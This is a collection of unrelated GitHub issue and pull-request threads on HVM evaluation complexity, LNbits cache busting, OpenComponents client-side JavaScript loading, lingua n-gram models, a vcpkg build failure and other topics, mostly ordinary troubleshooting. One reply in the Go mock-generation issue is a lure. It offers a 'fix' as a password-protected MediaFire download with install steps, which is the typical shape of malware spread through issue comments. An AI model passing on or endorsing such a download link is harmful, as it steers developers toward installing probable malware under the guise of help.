Huh, I guess let big = (double (inc (double zero)) doesn't work in quadratic_fix? It keeps reducing until it segfaults. (double, inc and zero are defined in the script)
Changing the representation  of big to let big = λs λz (s (s (s ... (s z)))) fixes this segfault, but the runtime is still apparently quadratic, a bit worse than the other representation, and the number of rewrites doesn't change at all between master and quadratic_fix. (note: I'm not sure if this representation changes the complexity of sub...? hopefully my analysis is correct)

plot

It could be related to that issue, yes. Probably is. I don't have the time to troubleshoot right now, but if anyone voluntaries, it is possible to trace the entire reduction with hvm -d your_term and manually inspect. This is very laborious, but can give us an insight on exactly where and why HVM is losing its asymptotic advantage. As I commented on the other thread, an easy fix would be to just add references, but that is also an extreme solution which would bring several disadvantages. Sadly Andrea Asperti didn't answer my question regarding this issue; I'd highly appreciate a clarification from a related researcher. HVM is just implementing the optimal evaluation algorithm, so, if this isn't a bug on HVM (which may be the case!), this program counts as a counter-example to its asymptotical optimality.

If I may ask, could you move this information to #60? This definitely should be on the pinned thread.


Added cache busting for JS and CSS assets

Added a cache busting Jinja filter to add ?v=XXXXXX to each CSS and JS asset.
This prevents hard caching of JS/CSS after deploying an update causing users to experience bugs or not see updates.
The cache busting code uses a truncated md5 hash of whatever file appended to the file URL. For example:
/static/js/base.js?v=89d0ts
This md5 hash is cached in memory so persists whilst the LNbits instance is running. This helps prevent performance issues by excess md5 calculations of files.

Codecov Report

Merging #802 (d5517ad) into main (783502e) will increase coverage by 0.41%.
The diff coverage is 89.36%.

@@            Coverage Diff             @@
##             main     #802      +/-   ##
==========================================
+ Coverage   41.22%   41.64%   +0.41%
==========================================
  Files         207      215       +8
  Lines       10912    11316     +404
==========================================
+ Hits         4499     4712     +213
- Misses       6413     6604     +191

Impacted Files
Coverage Δ

lnbits/extensions/events/views_api.py
34.06% <ø> (ø)

lnbits/helpers.py
64.19% <89.36%> (+9.49%)
:arrow_up:

lnbits/extensions/watchonly/views_api.py
24.46% <0.00%> (-14.89%)
:arrow_down:

lnbits/extensions/satspay/views.py
68.00% <0.00%> (-4.73%)
:arrow_down:

lnbits/extensions/satspay/views_api.py
40.00% <0.00%> (-3.11%)
:arrow_down:

lnbits/extensions/satspay/models.py
80.85% <0.00%> (-2.87%)
:arrow_down:

lnbits/core/models.py
66.66% <0.00%> (-1.20%)
:arrow_down:

lnbits/core/views/api.py
40.39% <0.00%> (-0.61%)
:arrow_down:

lnbits/extensions/offlineshop/views_api.py
56.45% <0.00%> (-0.45%)
:arrow_down:

lnbits/decorators.py
80.95% <0.00%> (-0.43%)
:arrow_down:

... and 21 more

:mega: Codecov can now indicate which changes are the most critical in Pull Requests. Learn more

i am wondering if there is some sort of middleware or automated way for using that, because now every extension dev would need to include those, that might lead to some dev maybe not knowing, or forgetting about that. which leads to inconsistencies.
do you have an idea for that?


Javascript doesn't work client-side

Hi,
I have a javascript file in my static ressources when I use it server-side or in local without open-component it work perfectly, but when I use the same component client-side the js is not executed and I don't have a error message in the console.
So my question is do they are limitation for the static ressources or a configuration issue who can block my js code the be executed client side?
thanks

Hi @damienbidaud6 - how does your package.json looks like? If you need static resources, you need to declare the folders in the component spec. Example: https://github.com/matteofigus/oc-components-examples/blob/master/static-image/package.json#L14

I have add the folder in the static field like you can see:
{   "name": "widget",   "description": "",   "version": "1.0.0",   "repository": "",   "oc": {     "files": {       "data": "server.js",       "template": {         "src": "template.html",         "type": "handlebars"       },       "static":["js"]     }   } }

Uhm ok that seems ok. Other thing to check, in your component are you using the staticPath parameter to build the url? Here is a step to use a static resource step by step: https://github.com/opentable/oc/wiki/Advanced-operations#add-image-in-the-view-template
If all seems still good to you, are you able in case to share the code?

I think have the same thing
here my server.js
'use strict'; module.exports.data = function(context, callback){   callback(null, {     path:context.staticPath,     init: {       to: context.params.to || 7015400,       from: context.params.from || 8727100,       depart: context.params.depart || '01/01/1900',       return: context.params.return || '01/01/1901',       point_of_sale: context.params.point_of_sale || "XXXXX"     }   }); };
and my template.html

@damienbidaud6 I can't reprodue. Created a test repo to see if I'm doing something different?
https://github.com/matteofigus/oc-issue-299

I have modified and push the index.js and the app.js for have a situation closer to what I have and when I try to select the input he is not found but when I use the same selector in the chrome commande line it select the input.

Ok, I think I now understand 👍
So, when you have 2 files like that and you do server-side rendering, execution is going to happen as soon as the files are downloaded, but the order is going to be guaranteed to be the right one.
When doing the client-side rendering, you may have a race condition for having file 2 downloaded and executed before file 1. To solve that, we usually follow one of those 3 approaches:

Simplest one, you bundle all the JS to be a single file
You use the built-in functionality for requiring CSS or JS files - like I did on this sample project
You use any other customised way for ensuring dependencies are loaded in the right order, for example using any other library like require.js or SystemJS, or just emitting/subscribing to some events so that you get the orchestration right between the pieces.

In my experience, 1) is good for doing something simple, but when you start having multiple components in the page something like 2-3) is required.
Hopefully this clarifies 👍

I try the 3 approaches and I have still a issue client-side with the js I have the beginning of the page who use the js correctly but the end doesn't use the js for example server-side I have this element who work perfectly

but client-side I have no interaction with the js

I look to the network tool and with something like 2-3 the js is loaded in the correct order but I have no interaction with the second half of the component when I use it client-side>
I hope it was clear

I still can't reproduce. Just to double check, you tried the latest version I pushed here?
https://github.com/matteofigus/oc-issue-299
In case you did, are you able to upload there the real version of the app.js?
I can make that repo private if you want - just want to get something I can reproduce so somebody here like me or @mattiaerre can help you ;)

I have a issus on oc-issues-299 when I try to load the page on chrome I have a error

my version of node is 4.6.0 and my version of npm is 2.15.9

have you done an npm install and then a npm start next? I setup the npm start in such way it runs in parallel the oc dev in the port 3030 and an http server on port 3000

yes and I have check if something was using the port 3000

It's ok I try with sudo and it's work

if you can make the project private I will push my app.js

@damienbidaud6 done ;)

I have push it

they are only the first 2 input who have the js who work well the rest I have not interaction for example the button across the input of type number should increment or decrement the number and it does nothing but in a normal page it work well

All right, I think I managed to reproduce! I think it may be something with the react chain of events. I'll look at it tomorrow with some fresh eyes and I'll let you know 👍 Thanks for being patient :)

Ok, I think I now understand the problem 🎉
In the original files I see some points where there is a check for document.readyState with some bindings to actions for when the DOMContentLoaded event is emitted. The files are minified so I can't fully understand where and how to fix it.
Now...when I put a console.log(document.readyState) on the working piece I see loading but when I go to the OC client-side rendered component I see completed. This is because the OC rendering happens when the DOM is already there - so the react rendering happens with the document.readyState completed instead of loading. When emitting (as hack) the DOMContentLoaded event once again after the OC component is rendered, the bindings work perfectly!
So, I did something like that and worked with Chrome:
window.oc = window.oc || {};
oc.cmd = oc.cmd || [];

oc.cmd.push(function(){
	oc.require("{{path}}js/index.js", function(){
			oc.require("{{path}}js/app.js", function(){

					var DOMContentLoaded_event = document.createEvent("Event");
					DOMContentLoaded_event.initEvent("DOMContentLoaded", true, true);
					window.document.dispatchEvent(DOMContentLoaded_event);
			});
	});
});

Now - I think the problem is either in the index.js or app.js. After pairing a bit with @mattiaerre and @nickbalestra they suggested as solution to possibly change the events handler in the react app (one of those two files) to listen to specific React events instead of relying to the document.readyState such as componentDidMount (example).
I updated the private repository with the hack so that you can have a look @damienbidaud6

That's great thanks a lot for the help.
I will look for change the index.js.
And again thanks for the help.

Hey, Pleasure! 👍
Let me know how it goes. Should I close this issue now?

Yes I thing it's good.


add function for version printing

What is the problem / what does the code in this PR do
Add a simple function to print versions (also useful outside of dali).
Can you give a minimal working example (or illustrate with a figure)?

Nice, Idea also for debugging when people have problems.

Nice, Idea also for debugging when people have problems.

To use it for utilix, we do require https://github.com/XENONnT/utilix/pull/31 by the way

To use it for utilix, we do require https://github.com/XENONnT/utilix/pull/31 by the way


Fix typo

fix typo.

@mycapatin The spelling is correct: see https://en.wikipedia.org/wiki/Glob_(programming)

/close


mocker and structer do not work for external modules

Fails to generate mocks.

On trying to generate mock for github.com/aws/aws-sdk-go-v2/service/ec2 , structer searching wrong package path.
[Info  - 13:35:45] 2024/08/27 13:35:45 2024/08/27 13:35:45 cannot find package "<WORK DIRECTORY>/its/external/github.com/aws/aws-sdk-go-v2/service/ec2" in:
	${HOME}/sdk/go1.22.x/src/Users/youta/devel/its/external/github.com/aws/aws-sdk-go-v2/service/ec2

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


fix: detects cyclical dependencies and produces a build error

fixes #1745
buildGraph does not check for cycles as it walks dependency chains; this change detects a member of the cycle and reports an error identifying that member

Hah, that was me above, updating some automation 🤦


Support disabling loading of quadrigram and fivegram models

Relates to #101
Adds the function LanguageDetectorBuilder.withoutQuadrigramAndFivegramModels() which disables loading of quadrigram and fivegram models. Quadrigram and fivegram models take up the majority of memory during runtime; if my measurements are correct, all language models preloaded require ~1783 MB, whereas only unigram, bigram and trigram models require ~110 MB. However, for larger texts LanguageDetector does not actually use them.
Therefore, for use cases where it is known beforehand that most or all texts will be longer than ~120 chars, it should be relatively safe to disable of loading quadrigram and fivegram models.
Any feedback, especially regarding the builder function name and documentation, is appreciated.

Marked this as draft again because the usage of ngrams, and specifically the usage of quadrigrams and fivegrams, is probably an implementation detail and I am not sure if it is a good idea to expose this in the public API.
Would also be interesting to know how useful such a method would be to users of this library.

Hi @Marcono1234, thank you for this useful idea. I've actually implemented this a bit differently than you. There is now LanguageDetectorBuilder.withoutHighAccuracyMode() which loads only trigrams and nothing else. Trigrams are enough for longer sentences, so we can ignore unigrams and bigrams in addition to quadrigrams and fivegrams.
In the accuracy reports and plots, you now find separate statistics for what I call low accuracy mode (trigrams only) and high accuracy mode (all ngrams).


npm fails to display MM on ssh

Platform: Raspberry Pi 3
Node Version: Whatever the news version was for 5/15/19
MagicMirror Version: JavaScript version, was updated on 5/15/19
Description: When i use DISPLAY=:0 npm start, everything goes well but nothing will show on the screen. This just randomly happen, I usually can turn on MM using SSH. It still works if I do it on the Pi itself
Expected Results: The program
Actual Results:Nothing, ssh says that the app is running with no errors
Configuration: I used both my own and the default with the same results
Additional Notes: Provide any other relevant notes not previously mentioned. This is optional.

Also, everything runs fine when I run it on the Pi itself
And just to note, I was able to do this before, I didn't even have to use DISPLAY
Nothing but my IP address changed

Now it works?!,
I switched to HDMI (I use RPI screen 3.5)
I'm not going to close this JUST yet, but if it works on my RPI screen I will close the issue

It works fine now,
nothing changed,
I have no idea what happend


Require Node.js 8 and update dependencies

I updated the dependencies because they were outdated and using deprecated packages leading to warnings on npm install. I also fixed the tests.

We don't accept binary updates for security reasons, but happy to merge the JS changes if you revert the binary changes.

Done. Will you create the necessary update of those binaries?

I will update macOS and Windows. I don't have Linux right now, but other team member can update it when they have time.


Antlr4 Link error under visual studio 2017

-- CURRENT_INSTALLED_DIR=C:/vcpkg/installed/x86-windows
-- DOWNLOADS=C:/vcpkg/downloads
-- CURRENT_PACKAGES_DIR=C:/vcpkg/packages/antlr4_x86-windows
-- CURRENT_BUILDTREES_DIR=C:/vcpkg/buildtrees/antlr4
-- CURRENT_PORT_DIR=C:/vcpkg/ports/antlr4/.
-- Downloading http://www.antlr.org/download/antlr4-cpp-runtime-4.6-source.zip..
.
-- Downloading http://www.antlr.org/download/antlr4-cpp-runtime-4.6-source.zip..
. OK
-- Testing integrity of downloaded file...
-- Testing integrity of downloaded file... OK
-- Downloading https://raw.githubusercontent.com/antlr/antlr4/4.6/LICENSE.txt...
-- Downloading https://raw.githubusercontent.com/antlr/antlr4/4.6/LICENSE.txt...
OK
-- Testing integrity of downloaded file...
-- Testing integrity of downloaded file... OK
-- Extracting source C:/vcpkg/downloads/antlr4-cpp-runtime-4.6-source.zip
-- Extracting done
-- Applying patch C:/vcpkg/ports/antlr4/crt_mt.patch
-- Applying patch C:/vcpkg/ports/antlr4/crt_mt.patch done
-- Building C:/vcpkg/buildtrees/antlr4/src/runtime/antlr4cpp-vs2015.vcxproj for
Release
CMake Error at scripts/cmake/vcpkg_execute_required_process.cmake:14 (message):
Command failed: msbuild;C:/vcpkg/buildtrees/antlr4/src/runtime/antlr4cpp-vs2
015.vcxproj;/p:Configuration=Release DLL;/t:Rebuild;/p:Platform=x86;/p:PlatformT
oolset=v141;/p:VCPkgLocalAppDataDisabled=true;/p:UseIntelMKL=No;/p:WindowsTarget
PlatformVersion=10.0.14393.0;/m
Working Directory: C:/vcpkg/buildtrees/antlr4/x86-windows-rel
See logs for more information:
C:\vcpkg\buildtrees\antlr4\build-x86-windows-rel-out.log
C:\vcpkg\buildtrees\antlr4\build-x86-windows-rel-err.log
Call Stack (most recent call first):
scripts/cmake/vcpkg_build_msbuild.cmake:79 (vcpkg_execute_required_process)
ports/antlr4/portfile.cmake:32 (vcpkg_build_msbuild)
scripts/ports.cmake:73 (include)
Error: Building package antlr4:x86-windows failed with: BUILD_FAILED
Please ensure sure you're using the latest portfiles with .\vcpkg update, then
submit an issue at https://github.com/Microsoft/vcpkg/issues including:
Package: antlr4:x86-windows
Vcpkg version: 0.0.76-0038dd86bc97df8f0c528d0b9235b9bfb9400e48
The Link error is:
ANTLRFileStream.obj : error LNK2001: unresolved extern symbo "__declspec(dllimport) public: static class std::locale::id std::codecvt<char32_t,char,struct _Mbstatet>::id" (_imp?id@?$codecvt@_UDU_Mbstatet@@@std@@2V0locale@2@A) [C:\vcpkg\buildtrees\antlr4\src\runtime\antlr4cpp-vs2015.vcxproj]

Please let me know if you can build antlr4 successfully now.

antlr4 builds ok1


ROS2 Linting: geo_pos_conv

Summary
Small and straightforward lint of the geo_pos_conv package. I converted the CMakelist.txt to use ament_cmake_auto.
Notes to Reviewer:

Most of the changes here is converting (double) to static_cast<double>(). Please ensure that brackets are placed correctly.

Testing

Compile with the correct build flags

colcon build --packages-up-to geo_pos_conv --cmake-args -DCMAKE_EXPORT_COMPILE_COMMANDS=1

Run the linter tests

colcon test --packages-select geo_pos_conv && colcon test-result --verbose

Run clang-tidy on the the source files from the root AutowareArchitectureProposal directory

clang-tidy -p build/compile_commands.json src/autoware/autoware.iv/sensing/preprocessor/gnss/geo_pos_conv/include/geo_pos_conv/geo_pos_conv.hpp
clang-tidy -p build/compile_commands.json src/autoware/autoware.iv/sensing/preprocessor/gnss/geo_pos_conv/src/geo_pos_conv.cpp

@nnmm I decided to throw an error instead of setting the default lateral and longitudinal values to zero since I don't think it makes sense and could produce errors downstream that may not be easily detected.